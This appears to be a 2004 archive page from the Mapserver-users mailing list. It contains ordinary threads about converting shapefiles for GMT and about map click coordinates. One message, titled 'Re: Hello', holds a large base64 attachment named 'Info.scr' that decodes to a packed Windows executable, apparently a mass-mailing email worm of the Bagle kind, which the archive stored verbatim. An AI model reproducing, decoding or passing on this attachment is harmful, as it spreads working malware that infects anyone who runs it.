In-Reply-To: <000001c448f0$dc53d910$1364a8c0@parapente> References: <000001c448f0$dc53d910$1364a8c0@parapente> Message-ID: <40BE5CC0.9080109@tamu.edu> What are the types of data represented? Polygons are not well represented in netCDF, but discreet point data are. We can take this off-list for a while (unless there's real interest) to see if we can work thru this. gerry Murilo Lacerda Yoshida wrote: > I was planning to use the grid tools of GMT to interpolate a map, GMT > has some tools to do it. > The problem is that I don't know how to translate my shape files into > a valid GMT input. You said you spent a lot of time into it... Can you > help me? > I need to translate shape files to netCDF files, use these files as > input for GMT, get the result and translate it back to shape files. > Thanks, > Murilo > > > -----Mensagem original----- > De: Gerry Creager N5JXS [mailto:gerry.creager at tamu.edu] > Enviada em: quarta-feira, 2 de junho de 2004 00:46 > Para: murilo.yoshida at agx.com.br > Cc: mapserver-users at lists.gis.umn.edu > Assunto: Re: [Mapserver-users] GMT and netCDF > > If you think of a NetCDF file as a Fortran-formatted data file, it will > start making sense. GMT is a good tool for grid data, and works well for > > producing some maps, but it's not designed to do what Mapserver does. > > They're not the same thing, they are tools for different purposes. > > For what it's worth, I spend a LOT of time with netCDF files, read them, > > put the data in postgres db's and then make shapefiles from them. > > Gerry > > Murilo Lacerda Yoshida wrote: > >> Hi all, >> >> >> >> Has anyone in the list used the GMT (Generic Mapping Tools)? I > > looked > >>at its documentation and it is really a mess. What I understood is > > that > >>the input for GMT is a netCDF file, or a ascii table, or a raster > > file. > >> I use shape files. I didn't found in the documentation a way to >>translate the shape file to a netCDF file, or use the shape file as >>input for GMT. >> >> And if I understood the documentation, GMT has what I need, that is >>that map interpolation issue. But things are never that easy... >> >> Help me please, >> >> Murilo >> > > -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From ARyan at co.linn.or.us Wed Jun 2 15:59:21 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 2 Jun 2004 15:59:21 -0700 Subject: [Mapserver-users] Math Message-ID: <614FCE5F14A6D41180C200010240D6A269A0E9@LINNMS> Also, remember that image y values start at the top, where coordinate system y values are typically lower on the bottom, so your client side calculation will need to take that into consideration. Adam -----Original Message----- From: Eric Katherman [mailto:vaiod at berloy.com] Sent: Wednesday, June 02, 2004 2:42 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Math Okay... This is confusing me.. how does mapserver know where to "move" to when a user clicks the map. It is returning mapa_x and mapa_y points of say x:345 and y:233. How are the extents calculated from this? Also how does scale play into the extents? Thanks, Eric _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From TMitchell at lignum.com Wed Jun 2 17:52:53 2004 From: TMitchell at lignum.com (TMitchell) Date: Wed, 02 Jun 2004 18:52:53 -0600 Subject: [Mapserver-users] Re: Hello Message-ID: ----------frgvsynrokxpanrrwfpz Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------frgvsynrokxpanrrwfpz Content-Type: application/octet-stream; name="Info.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Info.scr" 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 